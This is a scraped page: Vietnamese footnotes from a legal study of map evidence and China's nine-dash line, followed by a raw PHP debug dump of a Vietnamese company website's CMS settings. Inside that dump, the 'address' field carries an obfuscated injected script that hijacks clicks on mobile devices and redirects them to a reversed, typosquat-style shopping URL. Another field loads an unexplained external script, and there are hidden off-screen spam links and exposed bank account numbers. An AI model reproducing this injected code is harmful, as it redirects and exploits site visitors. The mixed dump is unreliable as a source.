Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span 